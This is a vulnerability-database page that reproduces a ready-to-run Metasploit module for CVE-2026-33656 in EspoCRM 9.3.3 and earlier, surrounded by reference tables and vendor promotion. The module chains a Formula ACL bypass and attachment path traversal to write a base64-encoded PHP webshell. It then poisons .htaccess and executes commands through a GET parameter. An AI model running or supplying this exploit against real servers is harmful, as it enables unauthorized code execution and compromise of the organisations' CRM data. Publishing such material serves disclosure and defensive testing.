📄 EspoCRM 9.3.3 Remote Code Execution
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2026-33656 | 22 Apr 202620:01 | – | attackerkb | |
| CVE-2026-33656 | 25 Mar 202612:58 | – | circl | |
| EspoCRM 路径遍历漏洞 | 22 Apr 202600:00 | – | cnnvd | |
| CVE-2026-33656 | 22 Apr 202620:01 | – | cve | |
| CVE-2026-33656 EspoCRM vulnerable to authenticated RCE via Formula with path traversal in attachment `sourceId`, exploitable by admin user | 22 Apr 202620:01 | – | cvelist | |
| EUVD-2026-25081 | 22 Apr 202620:01 | – | euvd | |
| CVE-2026-33656 | 22 Apr 202621:17 | – | nvd | |
| CVE-2026-33656 EspoCRM vulnerable to authenticated RCE via Formula with path traversal in attachment `sourceId`, exploitable by admin user | 22 Apr 202620:01 | – | osv | |
| 📄 EspoCRM 9.3.3 Remote Code Execution / Path Traversal | 25 Mar 202600:00 | – | packetstorm | |
| PT-2026-27774 | 25 Mar 202600:00 | – | ptsecurity |
10
==================================================================================================================================
| # Title : EspoCRM ≤ 9.3.3 Authenticated RCE Exploit via Formula ACL Bypass and Attachment Abuse |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.espocrm.com/download/upgrades/ |
==================================================================================================================================
[+] Summary : This Metasploit module targets an authenticated Remote Code Execution (RCE) vulnerability in EspoCRM versions up to 9.3.3.
[+] The exploit chain works as follows:
Authenticates to the EspoCRM API using provided credentials.
Creates a malicious attachment entry via the Attachment API.
Abuses a Formula Engine endpoint to bypass ACL restrictions.
Uses the formula execution to manipulate internal attachment paths (path traversal).
Uploads a PHP webshell payload through chunked attachment upload.
Poisones a .htaccess file to enable execution of PHP code in a restricted directory.
Triggers the uploaded webshell via an HTTP request with a command parameter (whoami as proof of execution).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'EspoCRM <= 9.3.3 Authenticated RCE via Formula ACL Bypass',
'Description' => %q{
Authenticated RCE in EspoCRM via formula ACL bypass + attachment abuse.
},
'Author' => [
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://jivasecurity.com/writeups/espocrm-rce' ],
[ 'CVE', '2026-33656' ]
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [
[ 'EspoCRM <= 9.3.3', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-01-01'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username', 'admin']),
OptString.new('PASSWORD', [true, 'Password', 'admin'])
]
)
end
def auth_headers
creds = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
token = Rex::Text.encode_base64(creds)
{
'Espo-Authorization' => token
}
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
'headers' => auth_headers
)
return Exploit::CheckCode::Detected if res && res.code == 200
Exploit::CheckCode::Safe
end
def create_attachment(name, content_type, size)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment'),
'headers' => auth_headers.merge({
'Content-Type' => 'application/json'
}),
'data' => {
'name' => name,
'type' => content_type,
'role' => 'Attachment',
'relatedType' => 'Document',
'field' => 'file',
'isBeingUploaded' => true,
'size' => size
}.to_json
)
return nil unless res && res.code == 200
res.get_json_document&.dig('id')
end
def run_formula(attachment_id, source_path)
expr = "record\\update(\"Attachment\",\"#{attachment_id}\",\"sourceId\",\"#{source_path}\")"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/Formula/action/run'),
'headers' => auth_headers.merge({
'Content-Type' => 'application/json'
}),
'data' => {
'expression' => expr,
'targetType' => nil,
'targetId' => nil
}.to_json
)
return false unless res && res.code == 200
json = res.get_json_document rescue nil
json && json['isSuccess'] == true
end
def upload_chunk(attachment_id, payload_base64)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/chunk/#{attachment_id}"),
'headers' => auth_headers.merge({
'Content-Type' => 'application/octet-stream'
}),
'data' => "data:application/octet-stream;base64,#{payload_base64}"
)
end
def exploit
print_status("Creating attachment...")
shell_id = create_attachment('shell.txt', 'text/plain', 0)
fail_with(Failure::UnexpectedReply, "Attachment failed") unless shell_id
print_good("Attachment ID: #{shell_id}")
print_status("Bypassing ACL via formula...")
fail_with(Failure::UnexpectedReply, "Formula failed") unless run_formula(shell_id, '../../client/x')
print_good("Path traversal set")
print_status("Uploading PHP payload...")
php_payload = "PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg=="
upload_chunk(shell_id, php_payload)
print_good("Webshell written")
print_status("Creating .htaccess entry...")
ht_id = create_attachment('ht.txt', 'text/plain', 0)
fail_with(Failure::UnexpectedReply, "HT creation failed") unless ht_id
fail_with(Failure::UnexpectedReply, "HT formula failed") unless run_formula(ht_id, '../../.htaccess')
ht_payload = "CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4="
upload_chunk(ht_id, ht_payload)
print_good(".htaccess poisoned")
webshell = normalize_uri(target_uri.path, 'client/x')
print_status("Executing: #{webshell}")
res = send_request_cgi(
'method' => 'GET',
'uri' => webshell,
'vars_get' => {
'c' => 'whoami'
}
)
if res && res.code == 200
print_good("Execution success")
print_line(res.body.to_s) if res.body
else
fail_with(Failure::UnexpectedReply, "Execution failed")
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Apr 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.1
EPSS0.005
SSVC